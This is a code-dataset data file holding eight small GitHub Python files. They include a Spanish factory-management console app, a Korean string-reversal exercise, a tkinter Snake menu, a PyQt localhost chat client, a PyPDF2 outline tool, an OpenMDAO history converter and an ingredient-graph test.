+{"seq_id":"72463089759","text":"class Empresa():\r\n\t\"\"\"docstring for Empresa\"\"\"\r\n\toperarios = []\r\n\tadministradores = []\r\n\tmaquinas = []\r\n\tareas = []\r\n\tproductos = {}\r\n\tdef __init__(self, nombre, rut):\r\n\t\tself.nombre = nombre\r\n\t\tself.rut = rut\r\n\r\n\tdef getNombre(self):\r\n\t\treturn self.nombre\r\n\r\n\tdef getRut(self):\r\n\t\treturn self.rut\r\n\r\n\tdef setNombre(self, nombre):\r\n\t\tself.nombre = nombre\r\n\r\n\tdef setRut(self, rut):\r\n\t\tself.rut = rut\r\n\r\n\tdef getOperarios(self):\r\n\t\treturn self.operarios\r\n\r\n\tdef getAdministradores(self):\r\n\t\treturn self.administradores\r\n\r\n\tdef getMaquinas(self):\r\n\t\treturn self.maquinas\r\n\r\n\tdef agregarOperario(self, op):\r\n\t\tself.operarios.append(op)\r\n\r\n\tdef agregarAdministrador(self, adm):\r\n\t\tself.administradores.append(adm)\r\n\r\n\tdef agregarMaquina(self, maquina):\r\n\t\tself.maquinas.append(maquina)\r\n\r\n\tdef agregarArea(self, area):\r\n\t\tself.areas.append(area)\r\n\r\n\tdef getAreas(self):\r\n\t\treturn self.areas\r\n\r\n\tdef getProductos(self):\r\n\t\treturn self.productos\r\n\r\n\tdef agregarProducto(self, producto, cant):\r\n\t\t\"\"\"la empresa comienza a fabricar un nuevo producto\"\"\"\r\n\t\tself.productos[producto] = cant\r\n\r\n\r\n\r\n\tdef imprimir(self):\r\n\t\tprint(\"Nombre empresa: \", self.nombre)\r\n\t\tprint(\"Rut: \", self.rut)\r\n\t\tprint(\"Lista de operarios: \", self.operarios)\r\n\t\tprint(\"Lista de administradores: \", self.administradores)\r\n\t\tprint(\"Lista de máquinas: \",self.maquinas)\r\n\r\n\tdef bienvenida(self):\r\n\t\tprint()\r\n\t\tprint(\"Bienvenido al programa de la empresa Natura\")\r\n\t\twhile(1):\r\n\t\t\tprint(\"identifíquese:\\n1 administrador\\n2 operario\\n0 Cerrar Programa\")\r\n\t\t\topt = int(input())\r\n\t\t\tif opt == 1 or opt == 2 or opt == 0:\r\n\t\t\t\treturn opt\r\n\t\t\telse:\r\n\t\t\t\tprint(\"ingrese opción 1,2 o 0\\n\")\r\n\r\n\t\t\r\n\r\n\tdef login(self, usuario):\r\n\t\tprint(\"ingrese sus credenciales\")\r\n\t\tnombre_usuario = input(\"nombre de usuario: \")\r\n\t\tclave = input(\"Contraseña: \")\r\n\t\tif usuario.getNombreUsuario() == nombre_usuario and usuario.getClave() == clave:\r\n\t\t\treturn True\r\n\t\telse: \r\n\t\t\treturn False\r\n\r\n\tdef menuOperario(self):\r\n\t\tprint(\"\\nMenu Operario:\")\r\n\t\tprint(\"1 usar máquina\\n2 programar máquina\\n3 apagar maquina\\n0 salir\")\r\n\t\topt = int(input(\"ingrese una opción: \"))\r\n\t\treturn opt\r\n\r\n\tdef menuAdm(self):\r\n\t\tprint(\"\\nMenu Administrador:\")\r\n\t\tprint(\"1 editar usuario\\n2 eliminar usuario\\n3 crear administrador\\n4 crear operario\\n5 llenar inventario\\n6 agregar maquina\\n7 generar reporte\\n0 salir\")\r\n\t\topt = int(input(\"ingrese una opción: \"))\r\n\t\treturn opt\r\n\r\n\r\n\r\nclass Usuario():\r\n\t\"\"\"Super clase para Usuario\"\"\"\r\n\tdef __init__(self, nombre, rut, nombre_usuario, clave, cargo):\r\n\t\tself.nombre = nombre\r\n\t\tself.rut = rut\r\n\t\tself.nombre_usuario = nombre_usuario\r\n\t\tself.clave = clave\r\n\t\tself.cargo = cargo\r\n\r\n\tdef getNombre(self):\r\n\t\treturn self.nombre\r\n\r\n\tdef getRut(self):\r\n\t\treturn self.rut\r\n\r\n\tdef getNombreUsuario(self):\r\n\t\treturn self.nombre_usuario\r\n\r\n\tdef getClave(self):\r\n\t\treturn self.clave\r\n\r\n\tdef getCargo(self):\r\n\t\treturn self.cargo\r\n\r\n\tdef setNombre(self, nombre):\r\n\t\tself.nombre = nombre\r\n\r\n\tdef setRut(self, rut):\r\n\t\tself.rut = rut\r\n\r\n\tdef setNombreUsuario(self, nombre_usuario):\r\n\t\tself.nombre_usuario = nombre_usuario\r\n\r\n\tdef setClave(self, clave):\r\n\t\tself.clave = clave\r\n\r\n\tdef setCargo(self, cargo):\r\n\t\tself.cargo = cargo\r\n\r\n\r\n\r\n\r\nclass Operario(Usuario):\r\n\t\"\"\"docstring for Operario\"\"\"\r\n\tdef __init__(self, nombre, rut, nombre_usuario, clave, cargo, fecha_inicio):\r\n\t\tUsuario.__init__(self,nombre, rut, nombre_usuario, clave, cargo)\r\n\t\tself.fecha_inicio = fecha_inicio\r\n\r\n\tdef usarMaquina(self, listaMAquina):\r\n\t\tprint()\r\n\t\tfor i,maquina in enumerate(listaMAquina):\r\n\t\t\tprint(i,maquina.nombre)\r\n\t\topt = int(input(\"seleccione maquina para prender: \"))\r\n\t\tlistaMAquina[opt].prenderMaquina()\r\n\t\tprint(f\"{listaMAquina[opt].nombre} encendida\\n\")\r\n\t\treturn opt\r\n\r\n\tdef programarMaquina(self, empresa, producto, cantProd, matPrima, cantMatPrima, maquina):\r\n\t\tprint()\r\n\t\tempresa.getMaquinas()[maquina].ingresarMateriaPrima(matPrima, cantMatPrima)\r\n\t\tempresa.agregarProducto(producto,cantProd)\r\n\t\tprint(f\"Se ha fabricado {cantProd} {producto}\")\r\n\r\n\tdef apagarMaquina(self, maquina):\r\n\t\tprint()\r\n\t\tif maquina.estaEncendida():\r\n\t\t\tmaquina.apagarMaquina()\r\n\t\t\tprint(f\"{maquina.nombre} apagada\")\r\n\t\telse:\r\n\t\t\tprint(\"La maquina no está encendida\")\r\n\r\n\r\nclass Administrador(Usuario):\r\n\tdef __init__(self, nombre, rut, nombre_usuario, clave, cargo, area):\r\n\t\tUsuario.__init__(self,nombre, rut, nombre_usuario, clave, cargo)\r\n\t\tself.area = area\r\n\r\n\tdef editarUsuario(self, listaOps, listaAdms):\r\n\t\tusuario = 0\r\n\t\topt = int(input(\"seleccione tipo de usuario que desee editar:\\n1 administrador\\n2 operario\\n: \"))\r\n\t\tif opt == 1:\r\n\t\t\tfor v,adm in listaAdms:\r\n\t\t\t\tprint(v,adm)\r\n\t\t\topt0 = int(input(\"seleccione administrador de la lista: \"))\r\n\t\t\tusuario = listaAdms[opt0]\r\n\t\telif opt == 2:\r\n\t\t\tfor v,ope in listaOps:\r\n\t\t\t\tprint(v,ope)\r\n\t\t\topt0 = int(input(\"seleccione operario de la lista: \"))\r\n\t\t\tusuario = listaOps[opt0]\r\n\r\n\t\tprint(\"1 nombre de usuario\")\r\n\t\tprint(\"2 Contraseña\")\r\n\t\tprint(\"3 cargo\")\r\n\t\topt = int(input(f\"selecione dato del usuario {usuario.getNombre()} que desee modificar:\"))\r\n\t\tif opt == 1:\r\n\t\t\tnombre = input(f\"ingrese nuevo nombre de usuario para {usuario.getNombre()}: \")\r\n\t\t\tusuario.setNombreUsuario(nombre)\r\n\t\telif opt == 2:\r\n\t\t\tclave = input(f\"ingrese nueva contraseña de usuario para {usuario.getNombre()}: \")\r\n\t\t\tusuario.setClave(clave)\r\n\t\telif opt == 3:\r\n\t\t\tcargo = input(f\"ingrese nuevo cargo para {usuario.getNombre()}: \")\r\n\t\t\tusuario.setCargo(cargo)\r\n\r\n\t\tif opt == 1:\r\n\t\t\tlistaAdms[opt0] = usuario\r\n\t\telif opt == 2:\r\n\t\t\tlistaOps[opt0] = usuario\r\n\r\n\r\n\tdef eliminarUsuario(self, listaUsuarios):\r\n\t\tfor v, usuario in enumerate(listaUsuarios):\r\n\t\t\tprint(v, usuario.getRut())\r\n\t\topt = int(input(\"seleecione el usuario que desea eliminar:\"))\r\n\t\tuser = listaUsuarios[opt]\r\n\t\tlistaUsuarios.remove(user)\r\n\r\n\tdef crearAdm(self, listaAdm):\r\n\t\tn = input(\"ingrese nombre del nuevo administrador: \")\r\n\t\tr = input(\"ingrese rut del nuevo administrador:\")\r\n\t\tnu = input(\"ingrese el nombre de usuario del nuevo administrador: \")\r\n\t\tc = input(\"ingrese contraseña del nuevo administrador: \")\r\n\t\tC = input(\"ingrese cargo del nuevo administrador: \")\r\n\t\ta = input(\"ingrese area del nuevo Administrador: \")\r\n\t\tadm_nuevo = Administrador(n,r,nu,c,C,a)\r\n\t\tlistaAdm.append(adm_nuevo)\r\n\r\n\tdef crearOperario(self, listaOpe):\r\n\t\tn = input(\"ingrese nombre del nuevo operario: \")\r\n\t\tr = input(\"ingrese rut del nuevo operario:\")\r\n\t\tnu = input(\"ingrese el nombre de usuario del nuevo operario: \")\r\n\t\tc = input(\"ingrese contraseña del nuevo operario: \")\r\n\t\tC = input(\"ingrese cargo del nuevo operario: \")\r\n\t\tfi = input(\"ingrese fecha de inicio del nuevo operario: \")\r\n\t\top_nuevo = Operario(n,r,nu,c,C,fi)\r\n\t\tif op_nuevo:\r\n\t\t\tprint(\"usuario creado con exito\")\r\n\t\tlistaOpe.append(op_nuevo)\r\n\r\n\tdef llenarInventario(self,listaMAquina):\r\n\t\t\"\"\" editar estado de la máquina\"\"\"\r\n\t\tfor i,maquina in enumerate(listaMAquina):\r\n\t\t\tprint(i,maquina.nombre)\r\n\t\topt = int(input(\"seleecione una máquina para editar estado: \"))\r\n\t\testado_nuevo = input(\"ingrse el nuevo estado de la maquina: \")\r\n\t\tlistaMAquina[opt].estado = estado_nuevo\r\n\r\n\tdef agregarMaquina(self,listaMAquina):\r\n\t\tn = input(\"ingrese nombre de la maquina: \")\r\n\t\tc = input(\"ingrese codigo de la maquina: \")\r\n\t\tfi = input(\"ingrese fecha de inicio de la maquina: \")\r\n\t\tfum = input(\"ingrese fecha ultima mantencion de la maquina: \")\r\n\t\ta = input(\"ingrese area de la maquina: \")\r\n\t\te = input(\"ingrese estado de la maquina: \")\r\n\r\n\t\tmaquina_nueva = Maquina(n,c,fi,fum,a,e)\r\n\t\tlistaMAquina.append(maquina_nueva)\r\n\t\tprint(f\"Máquina {n} agregarda con éxito\")\r\n\r\n\tdef generarReporte(self, empresa):\r\n\t\topt = int(input(\"Seleccione el reporte a generar:\\n1 maquians\\n2 productos\\n:\"))\r\n\t\tif opt == 1:\r\n\t\t\tfor maquina in empresa.getMaquinas():\r\n\t\t\t\tprint()\r\n\t\t\t\tmaquina.imprimir()\r\n\t\telif opt == 2:\r\n\t\t\tif len(empresa.getProductos()) == 0:\r\n\t\t\t\tprint(\"no existen productos en stock\")\r\n\t\t\telse:\r\n\t\t\t\tfor k,v in empresa.getProductos().items():\r\n\t\t\t\t\tprint(f\"{k} : {v}\")\r\n\r\n\r\nclass Maquina():\r\n\tmateriaPrima = {}\r\n\tencendida = -1\r\n\tdef __init__(self, nombre, codigo, fecha_inicio, fecha_ultima_mantencion, area, estado):\r\n\t\tself.nombre = nombre\r\n\t\tself.codigo = codigo\r\n\t\tself.fecha_inicio = fecha_inicio\r\n\t\tself.fecha_ultima_mantencion = fecha_ultima_mantencion\r\n\t\tself.area = area\r\n\t\tself.estado = estado #en produccíón, defectuosa, en reparación, ociosa\r\n\r\n\tdef ingresarMateriaPrima(self, nombre, cant):\r\n\t\tself.materiaPrima[nombre] = cant\r\n\r\n\tdef prenderMaquina(self):\r\n\t\tif (self.estado == \"ociosa\" or self.estado == 'nueva') and not self.estaEncendida():\r\n\t\t\tself.encendida = 1\r\n\r\n\tdef apagarMaquina(self):\r\n\t\tif self.estaEncendida():\r\n\t\t\tself.encendida = 0\r\n\r\n\tdef estaEncendida(self):\r\n\t\treturn self.encendida == 1\r\n\r\n\tdef imprimir(self):\r\n\t\tprint(f\"nombre maquina: {self.nombre}\")\r\n\t\tprint(f\"codigo: {self.codigo}\")\r\n\t\tprint(f\"fecha inicio: {self.fecha_inicio}\")\r\n\t\tprint(f\"fecha ultima mantención: {self.fecha_ultima_mantencion}\")\r\n\t\tprint(f\"area: {self.area}\")\r\n\t\tprint(f\"estado: {self.estado}\")\r\n\t\t\r\n\r\n\r\noperarios = []\r\nadministradores = []\r\nmaquinas = []\r\nNatura = Empresa(\"Natura\", \"12345678-9\")\r\n#Natura.imprimir()\r\nadm1 = Administrador(\"Jose Manuel\", \"258963-4\", \"jmanu\", \"jm159\", \"administrador\", \"RRHH\")\r\n\r\nope1 = Operario(\"Juan perez\" , \"145698-7\", \"juanito\", \"jp789\", \"operario\", \"5/5/2020\")\r\n\r\n\r\nwhile 1:\r\n\r\n\topt = Natura.bienvenida()\r\n\r\n\tif opt == 1:\r\n\t\tif Natura.login(adm1):\r\n\t\t\twhile 1:\r\n\t\t\t\topt = Natura.menuAdm()\r\n\t\t\t\tif opt == 1:\r\n\t\t\t\t\tadm1.editarUsuario()\r\n\t\t\t\telif opt == 2:\r\n\t\t\t\t\tadm1.eliminarUsuario(Natura.getOperarios())\r\n\t\t\t\telif opt == 3:\r\n\t\t\t\t\tadm1.crearAdm(Natura.getAdministradores())\r\n\t\t\t\telif opt == 4:\r\n\t\t\t\t\tadm1.crearOperario(Natura.getOperarios())\r\n\t\t\t\telif opt == 5:\r\n\t\t\t\t\tadm1.llenarInventario(Natura.getMaquinas())\r\n\t\t\t\telif opt == 6:\r\n\t\t\t\t\tadm1.agregarMaquina(Natura.getMaquinas())\r\n\t\t\t\telif opt == 7:\r\n\t\t\t\t\tadm1.generarReporte(Natura)\r\n\t\t\t\telif opt == 0:\r\n\t\t\t\t\tprint(\"hasta pronto\")\r\n\t\t\t\t\tbreak\r\n\telif opt == 2:\r\n\t\tif Natura.login(ope1):\r\n\t\t\tm = -1\r\n\t\t\twhile 1:\r\n\t\t\t\topt = Natura.menuOperario()\r\n\t\t\t\tif opt == 1:\r\n\t\t\t\t\tm = ope1.usarMaquina(Natura.getMaquinas())\r\n\t\t\t\telif opt ==2:\r\n\t\t\t\t\tp = input(\"ingrese nombre del producto a fabricar: \")\r\n\t\t\t\t\tcp = input(f\"ingrese cantidad de {p} a fabricar: \")\r\n\t\t\t\t\tmt = input(\"ingrese materia prima: \")\r\n\t\t\t\t\tcmt = input(f\"ingrese cantidad de {mt} a usar: \")\r\n\t\t\t\t\tope1.programarMaquina(Natura, p, cp, mt, cmt, m)\r\n\t\t\t\telif opt == 3:\r\n\t\t\t\t\tprint(\"apagar maquina\",m)\r\n\t\t\t\t\tope1.apagarMaquina(Natura.getMaquinas()[m])\r\n\t\t\t\telif opt == 0:\r\n\t\t\t\t\tprint(\"hasta pronto\")\r\n\t\t\t\t\tbreak\r\n\t\telse: \r\n\t\t\tprint(\"credenciales incorrectas.\")\t\r\n\telif opt == 0:\r\n\t\tprint(\"ADIOS\")\r\n\t\tbreak\r\n\telse:\r\n\t\tprint(\"ingrese una opción correcta\")","repo_name":"FFloresM/trabajos","sub_path":"python/fabricacion.py","file_name":"fabricacion.py","file_ext":"py","file_size_in_byte":10690,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16018749563","text":"# Reverse String (문자열 뒤집기)\n\n# input -> s(list) 내부의 조작한다. return은 없다.\n\n# two Pointer냐 reverse 함수, 2가지 방법이 존재\n# 하지만 two Pointer로 코딩해보자.\n\ns = [\"h\", \"e\", \"l\", \"l\", \"o\"]\n\n\ndef solution(s):\n    left, right = 0, len(s)-1\n    while left < right:\n        s[left], s[right] = s[right], s[left]\n        left += 1\n        right -= 1\n\n\nif __name__ == \"__main__\":\n    solution(s)\n    print(s)\n","repo_name":"nash4826/Python-Algorithm","sub_path":"string_control/question2.py","file_name":"question2.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14735915459","text":"from SnekGame import SnakeGame\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nimport os\r\n\r\nclass SnakeUi:\r\n\r\n    def __init__(self):\r\n        self.root = tk.Tk()\r\n        self.root.configure(bg=\"#2596be\")\r\n        self.root.geometry(\"500x300\")\r\n        self.root.resizable(False,False)\r\n        self.root.title(\"Isnek\")\r\n        #font=('Tahoma', 12) bg=\"#2596be\", fg=\"white\"\r\n        self.label = tk.Label(self.root, text=\" Welcome to Isnek \" ,font=('Comic Sans MS', 12),background = \"blue\", foreground = \"orange\")\r\n        self.label.place(x= 180,y=15)\r\n\r\n        self.label = tk.Label(self.root, text=\" Controls: Arrow Keys to Move Isnek \")\r\n        self.label.place(x= 150,y=50)\r\n\r\n        self.label = tk.Label(self.root, text=\" Please Select your Desired Difficulty \")\r\n        self.label.place(x= 150,y=80)\r\n\r\n        self.label = tk.Label(self.root, text=\" No Walls \")\r\n        self.label.place(x= 220, y = 110)\r\n        self.button = tk.Button(self.root, text=\"Easy\", command=self.NoWallsEasy)\r\n        self.button.place(x= 150, y=135)\r\n        self.button = tk.Button(self.root, text=\"Normal\", command=self.NoWallsMedium)\r\n        self.button.place(x= 225, y=135)\r\n        self.button = tk.Button(self.root, text=\"Hard\", command=self.NoWallsHard)\r\n        self.button.place(x= 315, y=135)\r\n\r\n        self.label = tk.Label(self.root, text=\" With Walls \")\r\n        self.label.place(x= 215, y = 210)\r\n        self.button = tk.Button(self.root, text=\"Easy\", command=self.WalledEasy)\r\n        self.button.place(x= 150, y=235)\r\n        self.button = tk.Button(self.root, text=\"Normal\", command=self.WalledNormal)\r\n        self.button.place(x= 225, y=235)\r\n        self.button = tk.Button(self.root, text=\"Hard\", command=self.WalledHard)\r\n        self.button.place(x= 315, y=235)\r\n\r\n\r\n        self.root.mainloop()\r\n\r\n    def NoWallsEasy(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.setplayers([])\r\n            snake.start(10) #Level of Speed\r\n\r\n    def NoWallsMedium(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.setplayers([])\r\n            snake.start(15) #Level of Speed\r\n    def NoWallsHard(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.setplayers([])\r\n            snake.start(20) #Level of Speed\r\n    def WalledEasy(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.SetObstacles(5) #level of obstacles \r\n            snake.setplayers([])\r\n            snake.start(10) #Level of Speed\r\n    def WalledNormal(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.SetObstacles(7) #level of obstacles \r\n            snake.setplayers([])\r\n            snake.start(15) #Level of Speed\r\n    def WalledHard(self):\r\n        if(__name__ == \"__main__\"):\r\n            snake=SnakeGame()\r\n            snake.SetObstacles(12) #level of obstacles \r\n            snake.setplayers([])\r\n            snake.start(20) #Level of Speed\r\n\r\n\r\nSnakeUi()\r\n","repo_name":"ImYokaii/SnekGame","sub_path":"SnakeGame/SnakeUI.py","file_name":"SnakeUI.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16511191603","text":"import sys\nfrom PyQt6.QtWidgets import QApplication, QWidget, QHBoxLayout, QVBoxLayout, QTextEdit, QLineEdit, QPushButton\nfrom PyQt6.QtCore import Qt, QThread, pyqtSignal, pyqtSlot\nimport socket\n\n\nclass ClientThread(QThread):\n    new_message = pyqtSignal(str)\n\n    def __init__(self):\n        super().__init__()\n        self.running = True\n\n    def run(self):\n        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server_address = ('localhost', 10000)\n        client_socket.connect(server_address)\n\n        while self.running:\n            message = client_socket.recv(1024).decode()\n            self.new_message.emit(message)\n\n        client_socket.close()\n\n    def stop(self):\n        self.running = False\n\n\nclass ChatWindow(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle('Chat App')\n        self.setGeometry(100, 100, 400, 400)\n\n        self.message_history = QTextEdit()\n        self.message_history.setReadOnly(True)\n\n        self.message_input = QLineEdit()\n        self.message_input.returnPressed.connect(self.send_message)\n\n        self.send_button = QPushButton('Send')\n        self.send_button.clicked.connect(self.send_message)\n\n        layout = QVBoxLayout()\n        layout.addWidget(self.message_history)\n        layout.addWidget(self.message_input)\n        layout.addWidget(self.send_button)\n        self.setLayout(layout)\n\n        self.client_thread = ClientThread()\n        self.client_thread.new_message.connect(self.add_message)\n        self.client_thread.start()\n\n    @pyqtSlot(str)\n    def add_message(self, message):\n        self.message_history.append(message)\n\n    def send_message(self):\n        message = self.message_input.text()\n        if message:\n            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            server_address = ('localhost', 10000)\n            client_socket.connect(server_address)\n            client_socket.send(message.encode())\n            client_socket.close()\n            self.message_input.clear()\n\n    def closeEvent(self, event):\n        self.client_thread.stop()\n        self.client_thread.wait()\n        super().closeEvent(event)\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    chat_window = ChatWindow()\n    chat_window.show()\n    sys.exit(app.exec())\n","repo_name":"chani3d/crypsec","sub_path":"src/test/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23065769420","text":"from collections import OrderedDict\nfrom typing import Optional\nfrom PyPDF2 import PdfReader, PdfWriter, generic, constants\nfrom re import match\n\n\ndef get_writer_with_content(reader: PdfReader):\n    writer = PdfWriter()\n    for page in reader.pages:\n        writer.add_page(page)\n    writer.add_metadata(reader.metadata)\n    writer.clone_reader_document_root(reader)\n    # bugfix\n    if constants.Core.OUTLINES in writer._root_object:\n        del writer._root_object[constants.Core.OUTLINES]\n    return writer\n\n\ndef copy_outline_from_obj(writer: PdfWriter, outline_obj_list: list[dict],\n                          parent: Optional[generic.IndirectObject] = None):\n    for entry in outline_obj_list:\n        outline_item = writer.add_outline_item(entry[\"title\"], entry[\"page\"], parent=parent)\n        if \"children\" in entry:\n            copy_outline_from_obj(writer, entry[\"children\"], outline_item)\n\n\ndef get_outline_obj(reader: PdfReader, outline, d=0):\n    result = []\n    parent = None\n    for item, index in zip(outline, range(len(outline))):\n        if isinstance(item, list):\n            parent['children'] = get_outline_obj(reader, item, d=d + 1)\n        else:\n            # print(d, index, item.title)\n            result.append({\n                \"title\": item.title,\n                \"page\": reader.get_destination_page_number(item)\n                if isinstance(item.page, generic.IndirectObject) else item.page\n            })\n            parent = result[-1]\n    return result\n\n\ndef from_txt_to_outline_obj(text, page_offset):\n    def get_indent(depth):\n        return \" \" * 4 * depth\n\n    def parse_data(text, page_offset):\n        m = match(r\"(.*) \\((\\d+)\\)$\", text)\n        if not m:\n            m = match(r\"(.*) \\(#(\\d+)\\)$\", text)\n            page_offset = 0\n        # Unspecified\n        if not m:\n            title = text.strip()\n            page_num = 0\n            page_offset = 0\n        else:\n            title = m.group(1).strip()\n            page_num = int(m.group(2)) - 1\n        return {\n            \"title\": title,\n            \"page\": page_num + page_offset\n        }\n\n    outline_entries: list[str] = text.split(\"\\n\")\n    root = []\n    ancestors = []\n    previous_entry_obj = None\n    depth = 0\n    parent = None\n    for text_outline_entry in outline_entries:\n        entry_obj = OrderedDict(parse_data(text_outline_entry, page_offset))\n        # deeper depth\n        if text_outline_entry.startswith(get_indent(depth + 1)):\n            ancestors.append(previous_entry_obj)\n            parent = previous_entry_obj\n            depth += 1\n        # same depth\n        elif text_outline_entry.startswith(get_indent(depth)):\n            pass\n        # shallower depth\n        else:\n            next_depth = next(\n                filter(lambda d: text_outline_entry.startswith(get_indent(d)), reversed(range(depth + 1))))\n            for i in range(depth - next_depth):\n                ancestors.pop()\n            depth = next_depth\n            parent = ancestors[-1] if len(ancestors) > 0 else None\n        if parent:\n            parent[\"children\"] = parent.get(\"children\", None) or []\n            parent[\"children\"].append(entry_obj)\n        else:\n            root.append(entry_obj)\n        previous_entry_obj = entry_obj\n    return root\n\n\ndef outline_obj_to_txt_outline(outline_obj, page_offset=0):\n    def to_list(obj):\n        result = []\n        for outline_entry in obj:\n            page = outline_entry[\"page\"] + 1 - page_offset\n            result.append(f'{outline_entry[\"title\"]} ({page if page >= 0 else \"#\" + str(page + page_offset)})')\n            if \"children\" in outline_entry:\n                for child in to_list(outline_entry[\"children\"]):\n                    result.append(\" \" * 4 + child)\n        return result\n\n    return \"\\n\".join(to_list(outline_obj))\n\n\ndef export_outline(pdf_path, output_path, page_offset=0):\n    reader = PdfReader(pdf_path)\n    obj = get_outline_obj(reader, reader.outline)\n    txt_outline = outline_obj_to_txt_outline(obj, page_offset)\n    with open(output_path, \"w\") as f:\n        f.write(txt_outline)\n\n\ndef import_outline(pdf_path, input_path, page_offset=0):\n    with open(input_path, \"r\") as f:\n        outline_obj = from_txt_to_outline_obj(f.read(), page_offset)\n\n    reader = PdfReader(pdf_path)\n    writer = get_writer_with_content(reader)\n    copy_outline_from_obj(writer, outline_obj)\n    writer.write(pdf_path)\n","repo_name":"hyperthreading/pdf-toc-editor","sub_path":"outline.py","file_name":"outline.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"34725544754","text":"grupo1 = []\ngrupo2 = []\npersonas = []\n\nwhile True:\n    nombre = input(\"Ingrese el nombre de una persona (o escriba 'salir' para terminar): \")\n    if nombre == 'salir':\n        break\n    personas.append(nombre)\n    if nombre[0].lower() in 'abcdefghjklm':\n        grupo1.append(nombre)\n    else:\n        grupo2.append(nombre)\n\nprint(\"Grupo 1 (mujeres y hombres con nombres que comienzan con las letras A-M): \", grupo1)\nprint(\"Grupo 2 (hombres y mujeres con nombres que comienzan con las letras N-Z): \", grupo2)\n\n","repo_name":"VLV1990/curso_python","sub_path":"MODULO 3/clase 14/refuerzo del profe.py","file_name":"refuerzo del profe.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72803171037","text":"\"\"\"\nThis script will read the sql file from an OpenMDAO recorder and write a tecplot\n.dat file or csv file with the history of the optimization.\nIf multiple record files are provided, the histories will be concatenated and a single file will\nbe written.\n\"\"\"\n\nimport argparse\nfrom om_dash.recorder_history_stacker import RecorderHistoryStacker\nfrom typing import List\n\n\ndef set_output_file_name(inputs: List[str], output_arg: str, default_ext='dat'):\n    if 'recorder_root' in output_arg:\n        first_recorder_root = inputs[0].split('.sql')[0]\n        output_arg = f'{first_recorder_root}.{default_ext}'\n    return output_arg\n\n\ndef write_data_to_file(parser: RecorderHistoryStacker, filename: str):\n    ext = filename.split('.')[-1]\n    if ext == 'dat':\n        parser.write_data_to_tecplot(filename)\n    else:\n        data = parser.get_dataframe_of_all_data()\n        data.to_csv(filename)\n\n\ndef main():\n    arg_parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n                                         description=__doc__)\n    arg_parser.add_argument('-i', '--inputs', nargs='+', type=str, required=True,\n                            help='OpenMDAO recorder filenames (.sql file)')\n    arg_parser.add_argument(\n        '-o', '--output', type=str, default='{first_recorder_root}.dat',\n        help='Filename to write. Should have a \".dat\" file extension for tecplot or \".csv\" for comma separated values.')\n    args = arg_parser.parse_args()\n\n    om_parser = RecorderHistoryStacker(args.inputs)\n    outfile = set_output_file_name(args.inputs, args.output)\n    write_data_to_file(om_parser, outfile)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"kejacobson/om_dash","sub_path":"om_dash/om_convert_recorder_hist.py","file_name":"om_convert_recorder_hist.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"4483200922","text":"from typing import List, Tuple\nimport pytest\nimport sys\nsys.path.append(\"../../\")\nfrom preprocessing.main import create_mappings\nfrom models.ingredient import Ingredient, IngredientType\nfrom models.graph import Graph\n\nclass TestGraph:\n    sample_mappings: List[Tuple[Ingredient, Ingredient, int]] = create_mappings(\"./data\")\n\n    def test_initialises_graph(self):\n        G = Graph(self.sample_mappings)\n        assert G is not None\n\n    def test_can_get_node_by_name(self):\n        G = Graph(self.sample_mappings)\n        spinach = G.get_node_by_name(\"spinach\")\n        assert spinach is not None\n        assert spinach.get_name() == \"spinach\"\n\n    def test_can_get_neighbors_of_node(self):\n        G = Graph(self.sample_mappings)\n        spinach = G.get_node_by_name(\"spinach\")\n        spinach_nbrs = G.get_neighbors_of(spinach)\n        assert spinach_nbrs is not None\n        spinach_nbrs_filtered = G.get_neighbors_of(spinach, IngredientType.BASE)\n        assert spinach_nbrs_filtered is not None\n\n    def test_can_get_closest_neighbors_of_node(self):\n        G = Graph(self.sample_mappings)\n        spinach = G.get_node_by_name(\"spinach\")\n        spinach_nbrs = G.get_neighbors_of(spinach)\n        # Sort neighbors of spinach from weakest to strongest so\n        # we can then compare the first element of the array with\n        # the array returned from the closest_neighbors() call.\n        spinach_nbrs_weakest = sorted(spinach_nbrs, key=lambda node: node[1][\"weight\"])\n        spinach_nbrs_closest = G.closest_neighbors(spinach, 1)\n        assert spinach_nbrs_weakest[0] != spinach_nbrs_closest[0]\n\n    def test_can_get_weight_between_nodes(self):\n        G = Graph(self.sample_mappings)\n        weight = G.get_weight_between(\"spinach\", \"tomato\")\n        assert weight == 114\n","repo_name":"disposedtrolley/salad-generator","sub_path":"models/graph/test_graph.py","file_name":"test_graph.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
